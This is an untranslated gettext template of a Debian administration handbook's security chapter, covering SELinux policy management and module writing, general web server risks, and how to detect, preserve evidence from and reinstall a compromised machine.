msgid "<command>semanage login -l</command> lists the current mapping between user identifiers and SELinux identities. Users that have no explicit entry get the identity indicated in the <literal>__default__</literal> entry. The <command>semanage login -a -s user_u <replaceable>user</replaceable></command> command will associate the <emphasis>user_u</emphasis> identity to the given user. Finally, <command>semanage login -d <replaceable>user</replaceable></command> drops the mapping entry assigned to this user."
msgstr ""

msgid ""
"<computeroutput># </computeroutput><userinput>semanage login -a -s user_u rhertzog</userinput>\n"
"<computeroutput># </computeroutput><userinput>semanage login -l</userinput>\n"
"<computeroutput>\n"
"Login Name           SELinux User         MLS/MCS Range        Service\n"
"\n"
"__default__          unconfined_u         SystemLow-SystemHigh *\n"
"rhertzog             user_u               SystemLow            *\n"
"root                 unconfined_u         SystemLow-SystemHigh *\n"
"system_u             system_u             SystemLow-SystemHigh *\n"
"# </computeroutput><userinput>semanage login -d rhertzog</userinput> "
msgstr ""

msgid "<command>semanage user -l</command> lists the mapping between SELinux user identities and allowed roles. Adding a new identity requires to define both the corresponding roles and a labeling prefix which is used to assign a type to personal files (<filename>/home/<replaceable>user</replaceable>/*</filename>). The prefix must be picked among <literal>user</literal>, <literal>staff</literal>, and <literal>sysadm</literal>. The “<literal>staff</literal>” prefix results in files of type “<literal>staff_home_dir_t</literal>”. Creating a new SELinux user identity is done with <command>semanage user -a -R <replaceable>roles</replaceable> -P <replaceable>prefix</replaceable> <replaceable>identity</replaceable></command>. Finally, you can remove an SELinux user identity with <command>semanage user -d <replaceable>identity</replaceable></command>."
msgstr ""

msgid ""
"<computeroutput># </computeroutput><userinput>semanage user -a -R 'staff_r user_r' -P staff test_u</userinput>\n"
"<computeroutput># </computeroutput><userinput>semanage user -l</userinput>\n"
"<computeroutput>\n"
"                Labeling   MLS/       MLS/                          \n"
"SELinux User    Prefix     MCS Level  MCS Range             SELinux Roles\n"
"\n"
"root            sysadm     SystemLow  SystemLow-SystemHigh  staff_r sysadm_r system_r\n"
"staff_u         staff      SystemLow  SystemLow-SystemHigh  staff_r sysadm_r\n"
"sysadm_u        sysadm     SystemLow  SystemLow-SystemHigh  sysadm_r\n"
"system_u        user       SystemLow  SystemLow-SystemHigh  system_r\n"
"test_u          staff      SystemLow  SystemLow             staff_r user_r\n"
"unconfined_u    unconfined SystemLow  SystemLow-SystemHigh  system_r unconfined_r\n"
"user_u          user       SystemLow  SystemLow             user_r\n"
"# </computeroutput><userinput>semanage user -d test_u</userinput>"
msgstr ""

msgid "Managing File Contexts, Ports and Booleans"
msgstr ""

msgid "Each SELinux module provides a set of file labeling rules, but it is also possible to add custom labeling rules to cater to a specific case. For example, if you want the web server to be able to read files within the <filename>/srv/www/</filename> file hierarchy, you could execute <command>semanage fcontext -a -t httpd_sys_content_t \"/srv/www(/.*)?\"</command> followed by <command>restorecon -R /srv/www/</command>. The former command registers the new labeling rules and the latter resets the file types according to the current labeling rules."
msgstr ""

msgid "Similarly, TCP/UDP ports are labeled in a way that ensures that only the corresponding daemons can listen to them. For instance, if you want the web server to be able to listen on port 8080, you should run <command>semanage port -m -t http_port_t -p tcp 8080</command>."
msgstr ""

msgid "Some SELinux modules export boolean options that you can tweak to alter the behavior of the default rules. The <command>getsebool</command> utility can be used to inspect those options (<command>getsebool <replaceable>boolean</replaceable></command> displays one option, and <command>getsebool -a</command> them all). The <command>setsebool <replaceable>boolean</replaceable> <replaceable>value</replaceable></command> command changes the current value of a boolean option. The <literal>-P</literal> option makes the change permanent, it means that the new value becomes the default and will be kept across reboots. The example below grants web servers an access to home directories (this is useful when users have personal websites in <filename>~/public_html/</filename>)."
msgstr ""

msgid ""
"<computeroutput># </computeroutput><userinput>getsebool httpd_enable_homedirs</userinput>\n"
"<computeroutput>httpd_enable_homedirs --&gt; off\n"
"# </computeroutput><userinput>setsebool -P httpd_enable_homedirs on</userinput>\n"
"<computeroutput># </computeroutput><userinput>getsebool httpd_enable_homedirs</userinput> \n"
"<computeroutput>httpd_enable_homedirs --&gt; on</computeroutput>"
msgstr ""

msgid "Adapting the Rules"
msgstr ""

msgid "Since the SELinux policy is modular, it might be interesting to develop new modules for (possibly custom) applications that lack them. These new modules will then complete the <emphasis>reference policy</emphasis>."
msgstr ""

msgid "To create new modules, the <emphasis role=\"pkg\">selinux-policy-dev</emphasis> package is required, as well as <emphasis role=\"pkg\">selinux-policy-doc</emphasis>. The latter contains the documentation of the standard rules (<filename>/usr/share/doc/selinux-policy-doc/html/</filename>) and sample files that can be used as templates to create new modules. Install those files and study them more closely:"
msgstr ""

msgid ""
"<computeroutput>$ </computeroutput><userinput>cp /usr/share/doc/selinux-policy-doc/Makefile.example Makefile</userinput>\n"
"<computeroutput>$ </computeroutput><userinput>cp /usr/share/doc/selinux-policy-doc/example.fc ./</userinput>\n"
"<computeroutput>$ </computeroutput><userinput>cp /usr/share/doc/selinux-policy-doc/example.if ./</userinput>\n"
"<computeroutput>$ </computeroutput><userinput>cp /usr/share/doc/selinux-policy-doc/example.te ./</userinput>"
msgstr ""

msgid "The <filename>.te</filename> file is the most important one. It defines the rules. The <filename>.fc</filename> file defines the “file contexts”, that is the types assigned to files related to this module. The data within the <filename>.fc</filename> file are used during the file labeling step. Finally, the <filename>.if</filename> file defines the interface of the module: it is a set of “public functions” that other modules can use to properly interact with the module that you're creating."
msgstr ""

msgid "Writing a <filename>.fc</filename> file"
msgstr ""

msgid "Reading the below example should be sufficient to understand the structure of such a file. You can use regular expressions to assign the same security context to multiple files, or even an entire directory tree."
msgstr ""

msgid "<filename>example.fc</filename> file"
msgstr ""

msgid ""
"# myapp executable will have:\n"
"# label: system_u:object_r:myapp_exec_t\n"
"# MLS sensitivity: s0\n"
"# MCS categories: &lt;none&gt;\n"
"\n"
"/usr/sbin/myapp         --      gen_context(system_u:object_r:myapp_exec_t,s0)"
msgstr ""

msgid "Writing a <filename>.if</filename> File"
msgstr ""

msgid "In the sample below, the first interface (“<literal>myapp_domtrans</literal>”) controls who can execute the application. The second one (“<literal>myapp_read_log</literal>”) grants read rights on the application's log files."
msgstr ""

msgid "Each interface must generate a valid set of rules which can be embedded in a <filename>.te</filename> file. You should thus declare all the types that you use (with the <literal>gen_require</literal> macro), and use standard directives to grant rights. Note, however, that you can use interfaces provided by other modules. The next section will give more explanations about how to express those rights."
msgstr ""

msgid "<filename>example.if</filename> File"
msgstr ""

msgid ""
"## &lt;summary&gt;Myapp example policy&lt;/summary&gt;\n"
"## &lt;desc&gt;\n"
"##      &lt;p&gt;\n"
"##              More descriptive text about myapp.  The &lt;desc&gt;\n"
"##              tag can also use &lt;p&gt;, &lt;ul&gt;, and &lt;ol&gt;\n"
"##              html tags for formatting.\n"
"##      &lt;/p&gt;\n"
"##      &lt;p&gt;\n"
"##              This policy supports the following myapp features:\n"
"##              &lt;ul&gt;\n"
"##              &lt;li&gt;Feature A&lt;/li&gt;\n"
"##              &lt;li&gt;Feature B&lt;/li&gt;\n"
"##              &lt;li&gt;Feature C&lt;/li&gt;\n"
"##              &lt;/ul&gt;\n"
"##      &lt;/p&gt;\n"
"## &lt;/desc&gt;\n"
"#\n"
"\n"
"########################################\n"
"## &lt;summary&gt;\n"
"##      Execute a domain transition to run myapp.\n"
"## &lt;/summary&gt;\n"
"## &lt;param name=\"domain\"&gt;\n"
"##      Domain allowed to transition.\n"
"## &lt;/param&gt;\n"
"#\n"
"interface(`myapp_domtrans',`\n"
"        gen_require(`\n"
"                type myapp_t, myapp_exec_t;\n"
"        ')\n"
"\n"
"        domtrans_pattern($1,myapp_exec_t,myapp_t)\n"
"')\n"
"\n"
"########################################\n"
"## &lt;summary&gt;\n"
"##      Read myapp log files.\n"
"## &lt;/summary&gt;\n"
"## &lt;param name=\"domain\"&gt;\n"
"##      Domain allowed to read the log files.\n"
"## &lt;/param&gt;\n"
"#\n"
"interface(`myapp_read_log',`\n"
"        gen_require(`\n"
"                type myapp_log_t;\n"
"        ')\n"
"\n"
"        logging_search_logs($1)\n"
"        allow $1 myapp_log_t:file r_file_perms;\n"
"')"
msgstr ""

msgid "<emphasis>DOCUMENTATION</emphasis> Explanations about the <emphasis>reference policy</emphasis>"
msgstr ""

msgid "The <emphasis>reference policy</emphasis> evolves like any free software project: based on volunteer contributions. The project is hosted by Tresys, one of the most active companies in the SELinux field. Their wiki contains explanations on how the rules are structured and how you can create new ones. <ulink type=\"block\" url=\"https://github.com/TresysTechnology/refpolicy/wiki/GettingStarted\" />"
msgstr ""

msgid "Writing a <filename>.te</filename> File"
msgstr ""

msgid "Have a look at the <filename>example.te</filename> file:"
msgstr ""

msgid "<emphasis>GOING FURTHER</emphasis> The <command>m4</command> macro language"
msgstr ""

msgid "To properly structure the policy, the SELinux developers used a macro-command processor. Instead of duplicating many similar <emphasis>allow</emphasis> directives, they created “macro functions” to use a higher-level logic, which also results in a much more readable policy."
msgstr ""

msgid "In practice, <command>m4</command> is used to compile those rules. It does the opposite operation: it expands all those high-level directives into a huge database of <emphasis>allow</emphasis> directives."
msgstr ""

msgid "The SELinux “interfaces” are only macro functions which will be substituted by a set of rules at compilation time. Likewise, some rights are in fact sets of rights which are replaced by their values at compilation time."
msgstr ""

msgid ""
"policy_module(myapp,1.0.0) <co id=\"example.te.module\"></co>\n"
"\n"
"########################################\n"
"#\n"
"# Declarations\n"
"#\n"
"\n"
"type myapp_t; <co id=\"example.te.type\"></co>\n"
"type myapp_exec_t;\n"
"domain_type(myapp_t)\n"
"domain_entry_file(myapp_t, myapp_exec_t) <co id=\"example.te.domain\"></co>\n"
"\n"
"type myapp_log_t;\n"
"logging_log_file(myapp_log_t) <co id=\"example.te.interface\"></co>\n"
"\n"
"type myapp_tmp_t;\n"
"files_tmp_file(myapp_tmp_t)\n"
"\n"
"########################################\n"
"#\n"
"# Myapp local policy\n"
"#\n"
"\n"
"allow myapp_t myapp_log_t:file { read_file_perms append_file_perms }; <co id=\"example.te.allow\"></co>\n"
"\n"
"allow myapp_t myapp_tmp_t:file manage_file_perms;\n"
"files_tmp_filetrans(myapp_t,myapp_tmp_t,file)"
msgstr ""

msgid "The module must be identified by its name and version number. This directive is required."
msgstr ""

msgid "If the module introduces new types, it must declare them with directives like this one. Do not hesitate to create as many types as required rather than granting too many useless rights."
msgstr ""

msgid "Those interfaces define the <literal>myapp_t</literal> type as a process domain that should be used by any executable labeled with <literal>myapp_exec_t</literal>. Implicitly, this adds an <literal>exec_type</literal> attribute on those objects, which in turn allows other modules to grant rights to execute those programs: for instance, the <literal>userdomain</literal> module allows processes with domains <literal>user_t</literal>, <literal>staff_t</literal>, and <literal>sysadm_t</literal> to execute them. The domains of other confined applications will not have the rights to execute them, unless the rules grant them similar rights (this is the case, for example, of <command>dpkg</command> with its <literal>dpkg_t</literal> domain)."
msgstr ""

msgid "<literal>logging_log_file</literal> is an interface provided by the reference policy. It indicates that files labeled with the given type are log files which ought to benefit from the associated rules (for example granting rights to <command>logrotate</command> so that it can manipulate them)."
msgstr ""

msgid "The <literal>allow</literal> directive is the base directive used to authorize an operation. The first parameter is the process domain which is allowed to execute the operation. The second one defines the object that a process of the former domain can manipulate. This parameter is of the form “<replaceable>type</replaceable>:<replaceable>class</replaceable>“ where <replaceable>type</replaceable> is its SELinux type and <replaceable>class</replaceable> describes the nature of the object (file, directory, socket, fifo, etc.). Finally, the last parameter describes the permissions (the allowed operations)."
msgstr ""

msgid "Permissions are defined as the set of allowed operations and follow this template: <literal>{ <replaceable>operation1</replaceable> <replaceable>operation2</replaceable> }</literal>. However, you can also use macros representing the most useful permissions. The <filename>/usr/share/selinux/devel/include/support/obj_perm_sets.spt</filename> lists them."
msgstr ""

msgid "The following web page provides a relatively exhaustive list of object classes, and permissions that can be granted. <ulink type=\"block\" url=\"http://www.selinuxproject.org/page/ObjectClassesPerms\" />"
msgstr ""

msgid "Now you just have to find the minimal set of rules required to ensure that the target application or service works properly. To achieve this, you should have a good knowledge of how the application works and of what kind of data it manages and/or generates."
msgstr ""

msgid "However, an empirical approach is possible. Once the relevant objects are correctly labeled, you can use the application in permissive mode: the operations that would be forbidden are logged but still succeed. By analyzing the logs, you can now identify the operations to allow. Here is an example of such a log entry:"
msgstr ""

msgid "avc:  denied  { read write } for  pid=1876 comm=\"syslogd\" name=\"xconsole\" dev=tmpfs ino=5510 scontext=system_u:system_r:syslogd_t:s0 tcontext=system_u:object_r:device_t:s0 tclass=fifo_file permissive=1"
msgstr ""

msgid "To better understand this message, let us study it piece by piece."
msgstr ""

msgid "Analysis of an SELinux trace"
msgstr ""

msgid "Message"
msgstr ""

msgid "Description"
msgstr ""

msgid "<computeroutput>avc: denied</computeroutput>"
msgstr ""

msgid "An operation has been denied."
msgstr ""

msgid "<computeroutput>{ read write }</computeroutput>"
msgstr ""

msgid "This operation required the <literal>read</literal> and <literal>write</literal> permissions."
msgstr ""

msgid "<computeroutput>pid=1876</computeroutput>"
msgstr ""

msgid "The process with PID 1876 executed the operation (or tried to execute it)."
msgstr ""

msgid "<computeroutput>comm=\"syslogd\"</computeroutput>"
msgstr ""

msgid "The process was an instance of the <literal>syslogd</literal> program."
msgstr ""

msgid "<computeroutput>name=\"xconsole\"</computeroutput>"
msgstr ""

msgid "The target object was named <literal>xconsole</literal>. Sometimes you can also have a “path” variable — with the full path — instead."
msgstr ""

msgid "<computeroutput>dev=tmpfs</computeroutput>"
msgstr ""

msgid "The device hosting the target object is a <literal>tmpfs</literal> (an in-memory filesystem). For a real disk, you could see the partition hosting the object (for example: “sda3”)."
msgstr ""

msgid "<computeroutput>ino=5510</computeroutput>"
msgstr ""

msgid "The object is identified by the inode number 5510."
msgstr ""

msgid "<computeroutput>scontext=system_u:system_r:syslogd_t:s0</computeroutput>"
msgstr ""

msgid "This is the security context of the process who executed the operation."
msgstr ""

msgid "<computeroutput>tcontext=system_u:object_r:device_t:s0</computeroutput>"
msgstr ""

msgid "This is the security context of the target object."
msgstr ""

msgid "<computeroutput>tclass=fifo_file</computeroutput>"
msgstr ""

msgid "The target object is a FIFO file."
msgstr ""

msgid "By observing this log entry, it is possible to build a rule that would allow this operation. For example: <literal>allow syslogd_t device_t:fifo_file { read write }</literal>. This process can be automated, and it's exactly what the <command>audit2allow</command> command (of the <emphasis role=\"pkg\">policycoreutils</emphasis> package) offers. This approach is only useful if the various objects are already correctly labeled according to what must be confined. In any case, you will have to carefully review the generated rules and validate them according to your knowledge of the application. Effectively, this approach tends to grant more rights than are really required. The proper solution is often to create new types and to grant rights on those types only. It also happens that a denied operation isn't fatal to the application, in which case it might be better to just add a “<literal>dontaudit</literal>” rule to avoid the log entry despite the effective denial."
msgstr ""

msgid "<emphasis>COMPLEMENTS</emphasis> No roles in policy rules"
msgstr ""

msgid "<primary>Type Enforcement</primary>"
msgstr ""

msgid "<primary>Enforcement, Type Enforcement</primary>"
msgstr ""

msgid "It might seem weird that roles do not appear at all when creating new rules. SELinux uses only the domains to find out which operations are allowed. The role intervenes only indirectly by allowing the user to switch to another domain. SELinux is based on a theory known as <emphasis>Type Enforcement</emphasis> and the type is the only element that matters when granting rights."
msgstr ""

msgid "Compiling the Files"
msgstr ""

msgid "Once the 3 files (<filename>example.if</filename>, <filename>example.fc</filename>, and <filename>example.te</filename>) match your expectations for the new rules, just run <command>make NAME=devel</command> to generate a module in the <filename>example.pp</filename> file (you can immediately load it with <command>semodule -i example.pp</command>). If several modules are defined, <command>make</command> will create all the corresponding <filename>.pp</filename> files."
msgstr ""

msgid "Other Security-Related Considerations"
msgstr ""

msgid "Security is not just a technical problem; more than anything, it is about good practices and understanding the risks. This section reviews some of the more common risks, as well as a few best practices which should, depending on the case, increase security or lessen the impact of a successful attack."
msgstr ""

msgid "Inherent Risks of Web Applications"
msgstr ""

msgid "The universal character of web applications led to their proliferation. Several are often run in parallel: a webmail, a wiki, some groupware system, forums, a photo gallery, a blog, and so on. Many of those applications rely on the “LAMP” (<emphasis>Linux, Apache, MySQL, PHP</emphasis>) stack. Unfortunately, many of those applications were also written without much consideration for security problems. Data coming from outside is, too often, used with little or no validation. Providing specially-crafted values can be used to subvert a call to a command so that another one is executed instead. Many of the most obvious problems have been fixed as time has passed, but new security problems pop up regularly."
msgstr ""

msgid "<emphasis>VOCABULARY</emphasis> SQL injection"
msgstr ""

msgid "When a program inserts data into SQL queries in an insecure manner, it becomes vulnerable to SQL injections; this name covers the act of changing a parameter in such a way that the actual query executed by the program is different from the intended one, either to damage the database or to access data that should normally not be accessible. <ulink type=\"block\" url=\"http://en.wikipedia.org/wiki/SQL_Injection\" />"
msgstr ""

msgid "<primary>SQL injection</primary>"
msgstr ""

msgid "Updating web applications regularly is therefore a must, lest any cracker (whether a professional attacker or a script kiddy) can exploit a known vulnerability. The actual risk depends on the case, and ranges from data destruction to arbitrary code execution, including web site defacement."
msgstr ""

msgid "Knowing What To Expect"
msgstr ""

msgid "A vulnerability in a web application is often used as a starting point for cracking attempts. What follows is a short review of possible consequences."
msgstr ""

msgid "<emphasis>QUICK LOOK</emphasis> Filtering HTTP queries"
msgstr ""

msgid "Apache 2 includes modules allowing filtering incoming HTTP queries. This allows blocking some attack vectors. For instance, limiting the length of parameters can prevent buffer overflows. More generally, one can validate parameters before they are even passed to the web application and restrict access along many criteria. This can even be combined with dynamic firewall updates, so that a client infringing one of the rules is banned from accessing the web server for a given period of time."
msgstr ""

msgid "Setting up these checks can be a long and cumbersome task, but it can pay off when the web application to be deployed has a dubious track record where security is concerned."
msgstr ""

msgid "<emphasis>mod-security2</emphasis> (in the <emphasis role=\"pkg\">libapache2-mod-security2</emphasis> package) is the main such module. It even comes with many ready-to-use rules of its own (in the <emphasis role=\"pkg\">modsecurity-crs</emphasis> package) that you can easily enable."
msgstr ""

msgid "<primary><emphasis role=\"pkg\">libapache-mod-security</emphasis></primary>"
msgstr ""

msgid "<primary><emphasis>mod-security</emphasis></primary>"
msgstr ""

msgid "The consequences of an intrusion will have various levels of obviousness depending on the motivations of the attacker. <emphasis>Script-kiddies</emphasis> only apply recipes they find on web sites; most often, they deface a web page or delete data. In more subtle cases, they add invisible contents to web pages so as to improve referrals to their own sites in search engines."
msgstr ""

msgid "A more advanced attacker will go beyond that. A disaster scenario could go on in the following fashion: the attacker gains the ability to execute commands as the <literal>www-data</literal> user, but executing a command requires many manipulations. To make their life easier, they install other web applications specially designed to remotely execute many kinds of commands, such as browsing the filesystem, examining permissions, uploading or downloading files, executing commands, and even provide a network shell. Often, the vulnerability will allow running a <command>wget</command> command that will download some malware into <filename>/tmp/</filename>, then executing it. The malware is often downloaded from a foreign website that was previously compromised, in order to cover tracks and make it harder to find out the actual origin of the attack."
msgstr ""

msgid "At this point, the attacker has enough freedom of movement that they often install an IRC <emphasis>bot</emphasis> (a robot that connects to an IRC server and can be controlled by this channel). This bot is often used to share illegal files (unauthorized copies of movies or software, and so on). A determined attacker may want to go even further. The <literal>www-data</literal> account does not allow full access to the machine, and the attacker will try to obtain administrator privileges. Now, this should not be possible, but if the web application was not up-to-date, chances are that the kernel and other programs are outdated too; this sometimes follows a decision from the administrator who, despite knowing about the vulnerability, neglected to upgrade the system since there are no local users. The attacker can then take advantage of this second vulnerability to get root access."
msgstr ""

msgid "<emphasis>VOCABULARY</emphasis> Privilege escalation"
msgstr ""

msgid "This term covers anything that can be used to obtain more permissions than a given user should normally have. The <command>sudo</command> program is designed for precisely the purpose of giving administrative rights to some users. But the same term is also used to describe the act of an attacker exploiting a vulnerability to obtain undue rights."
msgstr ""

msgid "Now the attacker owns the machine; they will usually try to keep this privileged access for as long as possible. This involves installing a <emphasis>rootkit</emphasis>, a program that will replace some components of the system so that the attacker will be able to obtain the administrator privileges again at a later time; the rootkit also tries hiding its own existence as well as any traces of the intrusion. A subverted <command>ps</command> program will omit to list some processes, <command>netstat</command> will not list some of the active connections, and so on. Using the root permissions, the attacker was able to observe the whole system, but didn't find important data; so they will try accessing other machines in the corporate network. Analyzing the administrator's account and the history files, the attacker finds what machines are routinely accessed. By replacing <command>sudo</command> or <command>ssh</command> with a subverted program, the attacker can intercept some of the administrator's passwords, which they will use on the detected servers… and the intrusion can propagate from then on."
msgstr ""

msgid "This is a nightmare scenario which can be prevented by several measures. The next few sections describe some of these measures."
msgstr ""

msgid "Choosing the Software Wisely"
msgstr ""

msgid "Once the potential security problems are known, they must be taken into account at each step of the process of deploying a service, especially when choosing the software to install. Many web sites, such as <literal>SecurityFocus.com</literal>, keep a list of recently-discovered vulnerabilities, which can give an idea of a security track record before some particular software is deployed. Of course, this information must be balanced against the popularity of said software: a more widely-used program is a more tempting target, and it will be more closely scrutinized as a consequence. On the other hand, a niche program may be full of security holes that never get publicized due to a lack of interest in a security audit."
msgstr ""

msgid "<emphasis>VOCABULARY</emphasis> Security audit"
msgstr ""

msgid "A security audit is the process of thoroughly reading and analyzing the source code of some software, looking for potential security vulnerabilities it could contain. Such audits are usually proactive and they are conducted to ensure a program meets certain security requirements."
msgstr ""

msgid "In the Free Software world, there is generally ample room for choice, and choosing one piece of software over another should be a decision based on the criteria that apply locally. More features imply an increased risk of a vulnerability hiding in the code; picking the most advanced program for a task may actually be counter-productive, and a better approach is usually to pick the simplest program that meets the requirements."
msgstr ""

msgid "<emphasis>VOCABULARY</emphasis> Zero-day exploit"
msgstr ""

msgid "A <emphasis>zero-day exploit</emphasis> attack is hard to prevent; the term covers a vulnerability that is not yet known to the authors of the program."
msgstr ""

msgid "Managing a Machine as a Whole"
msgstr ""

msgid "Most Linux distributions install by default a number of Unix services and many tools. In many cases, these services and tools are not required for the actual purposes for which the administrator set up the machine. As a general guideline in security matters, unneeded software is best uninstalled. Indeed, there is no point in securing an FTP server, if a vulnerability in a different, unused service can be used to get administrator privileges on the whole machine."
msgstr ""

msgid "By the same reasoning, firewalls will often be configured to only allow access to services that are meant to be publicly accessible."
msgstr ""

msgid "Current computers are powerful enough to allow hosting several services on the same physical machine. From an economic viewpoint, such a possibility is interesting: only one computer to administrate, lower energy consumption, and so on. From the security point of view, however, such a choice can be a problem. One compromised service can bring access to the whole machine, which in turn compromises the other services hosted on the same computer. This risk can be mitigated by isolating the services. This can be attained either with virtualization (each service being hosted in a dedicated virtual machine or container), or with AppArmor/SELinux (each service daemon having an adequately designed set of permissions)."
msgstr ""

msgid "Users Are Players"
msgstr ""

msgid "Discussing security immediately brings to mind protection against attacks by anonymous crackers hiding in the Internet jungle; but an often-forgotten fact is that risks also come from inside: an employee about to leave the company could download sensitive files on the important projects and sell them to competitors, a negligent salesman could leave their desk without locking their session during a meeting with a new prospect, a clumsy user could delete the wrong directory by mistake, and so on."
msgstr ""

msgid "The response to these risks can involve technical solutions: no more than the required permissions should be granted to users, and regular backups are a must. But in many cases, the appropriate protection is going to involve training users to avoid the risks."
msgstr ""

msgid "<emphasis>QUICK LOOK</emphasis> <emphasis role=\"pkg\">autolog</emphasis>"
msgstr ""

msgid "The <emphasis role=\"pkg\">autolog</emphasis> package provides a program that automatically disconnects inactive users after a configurable delay. It also allows killing user processes that persist after a session ends, thereby preventing users from running daemons."
msgstr ""

msgid "Physical Security"
msgstr ""

msgid "There is no point in securing the services and networks if the computers themselves are not protected. Important data deserve being stored on hot-swappable hard disks in RAID arrays, because hard disks fail eventually and data availability is a must. But if any pizza delivery boy can enter the building, sneak into the server room and run away with a few selected hard disks, an important part of security is not fulfilled. Who can enter the server room? Is access monitored? These questions deserve consideration (and an answer) when physical security is being evaluated."
msgstr ""

msgid "Physical security also includes taking into consideration the risks for accidents such as fires. This particular risk is what justifies storing the backup media in a separate building, or at least in a fire-proof strongbox."
msgstr ""

msgid "Legal Liability"
msgstr ""

msgid "An administrator is, more or less implicitly, trusted by their users as well as the users of the network in general. They should therefore avoid any negligence that malevolent people could exploit."
msgstr ""

msgid "An attacker taking control of your machine then using it as a forward base (known as a “relay system”) from which to perform other nefarious activities could cause legal trouble for you, since the attacked party would initially see the attack coming from your system, and therefore consider you as the attacker (or as an accomplice). In many cases, the attacker will use your server as a relay to send spam, which shouldn't have much impact (except potentially registration on black lists that could restrict your ability to send legitimate emails), but won't be pleasant nevertheless. In other cases, more important trouble can be caused from your machine, for instance denial of service attacks. This will sometimes induce loss of revenue, since the legitimate services will be unavailable and data can be destroyed; sometimes this will also imply a real cost, because the attacked party can start legal proceedings against you. Rights-holders can sue you if an unauthorized copy of a work protected by copyright law is shared from your server, as well as other companies compelled by service level agreements if they are bound to pay penalties following the attack from your machine."
msgstr ""

msgid "When these situations occur, claiming innocence is not usually enough; at the very least, you will need convincing evidence showing suspect activity on your system coming from a given IP address. This won't be possible if you neglect the recommendations of this chapter and let the attacker obtain access to a privileged account (root, in particular) and use it to cover their tracks."
msgstr ""

msgid "Dealing with a Compromised Machine"
msgstr ""

msgid "Despite the best intentions and however carefully designed the security policy, an administrator eventually faces an act of hijacking. This section provides a few guidelines on how to react when confronted with these unfortunate circumstances."
msgstr ""

msgid "Detecting and Seeing the Cracker's Intrusion"
msgstr ""

msgid "The first step of reacting to cracking is to be aware of such an act. This is not self-evident, especially without an adequate monitoring infrastructure."
msgstr ""

msgid "Cracking acts are often not detected until they have direct consequences on the legitimate services hosted on the machine, such as connections slowing down, some users being unable to connect, or any other kind of malfunction. Faced with these problems, the administrator needs to have a good look at the machine and carefully scrutinize what misbehaves. This is usually the time when they discover an unusual process, for instance one named <literal>apache</literal> instead of the standard <literal>/usr/sbin/apache2</literal>. If we follow that example, the thing to do is to note its process identifier, and check <filename>/proc/<replaceable>pid</replaceable>/exe</filename> to see what program this process is currently running:"
msgstr ""

msgid ""
"\n"
"<computeroutput># </computeroutput><userinput>ls -al /proc/3719/exe</userinput>\n"
"<computeroutput>lrwxrwxrwx 1 www-data www-data 0 2007-04-20 16:19 /proc/3719/exe -&gt; /var/tmp/.bash_httpd/psybnc</computeroutput>\n"
"      "
msgstr ""

msgid "A program installed under <filename>/var/tmp/</filename> and running as the web server? No doubt left, the machine is compromised."
msgstr ""

msgid "This is only one example, but many other hints can ring the administrator's bell:"
msgstr ""

msgid "an option to a command that no longer works; the version of the software that the command claims to be doesn't match the version that is supposed to be installed according to <command>dpkg</command>;"
msgstr ""

msgid "a command prompt or a session greeting indicating that the last connection came from an unknown server on another continent;"
msgstr ""

msgid "errors caused by the <filename>/tmp/</filename> partition being full, which turned out to be full of illegal copies of movies;"
msgstr ""

msgid "and so on."
msgstr ""

msgid "Putting the Server Off-Line"
msgstr ""

msgid "In any but the most exotic cases, the cracking comes from the network, and the attacker needs a working network to reach their targets (access confidential data, share illegal files, hide their identity by using the machine as a relay, and so on). Unplugging the computer from the network will prevent the attacker from reaching these targets, if they haven't managed to do so yet."
msgstr ""

msgid "This may only be possible if the server is physically accessible. When the server is hosted in a hosting provider's data center halfway across the country, or if the server is not accessible for any other reason, it's usually a good idea to start by gathering some important information (see <xref linkend=\"sect.keeping-everything-that-could-be-used-as-evidence\" />, <xref linkend=\"sect.forensic-analysis\" /> and <xref linkend=\"sect.reconstituting-the-attack-scenario\" />), then isolating that server as much as possible by shutting down as many services as possible (usually, everything but <command>sshd</command>). This case is still awkward, since one can't rule out the possibility of the attacker having SSH access like the administrator has; this makes it harder to “clean” the machines."
msgstr ""

msgid "Keeping Everything that Could Be Used as Evidence"
msgstr ""

msgid "Understanding the attack and/or engaging legal action against the attackers requires taking copies of all the important elements; this includes the contents of the hard disk, a list of all running processes, and a list of all open connections. The contents of the RAM could also be used, but it is rarely used in practice."
msgstr ""

msgid "In the heat of action, administrators are often tempted to perform many checks on the compromised machine; this is usually not a good idea. Every command is potentially subverted and can erase pieces of evidence. The checks should be restricted to the minimal set (<command>netstat -tupan</command> for network connections, <command>ps auxf</command> for a list of processes, <command>ls -alR /proc/[0-9]*</command> for a little more information on running programs), and every performed check should carefully be written down."
msgstr ""

msgid "<emphasis>CAUTION</emphasis> Hot analysis"
msgstr ""

msgid "While it may seem tempting to analyze the system as it runs, especially when the server is not physically reachable, this is best avoided: quite simply you can't trust the programs currently installed on the compromised system. It's quite possible for a subverted <command>ps</command> command to hide some processes, or for a subverted <command>ls</command> to hide files; sometimes even the kernel is compromised!"
msgstr ""

msgid "If such a hot analysis is still required, care should be taken to only use known-good programs. A good way to do that would be to have a rescue CD with pristine programs, or a read-only network share. However, even those countermeasures may not be enough if the kernel itself is compromised."
msgstr ""

msgid "Once the “dynamic” elements have been saved, the next step is to store a complete image of the hard-disk. Making such an image is impossible if the filesystem is still evolving, which is why it must be remounted read-only. The simplest solution is often to halt the server brutally (after running <command>sync</command>) and reboot it on a rescue CD. Each partition should be copied with a tool such as <command>dd</command>; these images can be sent to another server (possibly with the very convenient <command>nc</command> tool). Another possibility may be even simpler: just get the disk out of the machine and replace it with a new one that can be reformatted and reinstalled."
msgstr ""

msgid "Re-installing"
msgstr ""

msgid "<primary>backdoor</primary>"
msgstr ""

msgid "The server should not be brought back on line without a complete reinstallation. If the compromise was severe (if administrative privileges were obtained), there is almost no other way to be sure that we get rid of everything the attacker may have left behind (particularly <emphasis>backdoors</emphasis>). Of course, all the latest security updates must also be applied so as to plug the vulnerability used by the attacker. Ideally, analyzing the attack should point at this attack vector, so one can be sure of actually fixing it; otherwise, one can only hope that the vulnerability was one of those fixed by the updates."
msgstr ""

msgid "Reinstalling a remote server is not always easy; it may involve assistance from the hosting company, because not all such companies provide automated reinstallation systems. Care should be taken not to reinstall the machine from backups taken later than the compromise. Ideally, only data should be restored, the actual software should be reinstalled from the installation media."
msgstr ""

msgid "Forensic Analysis"
msgstr ""

msgid "Now that the service has been restored, it is time to have a closer look at the disk images of the compromised system in order to understand the attack vector. When mounting these images, care should be taken to use the <literal>ro,nodev,noexec,noatime</literal> options so as to avoid changing the contents (including timestamps of access to files) or running compromised programs by mistake."
msgstr ""

msgid "Retracing an attack scenario usually involves looking for everything that was modified and executed:"
msgstr ""

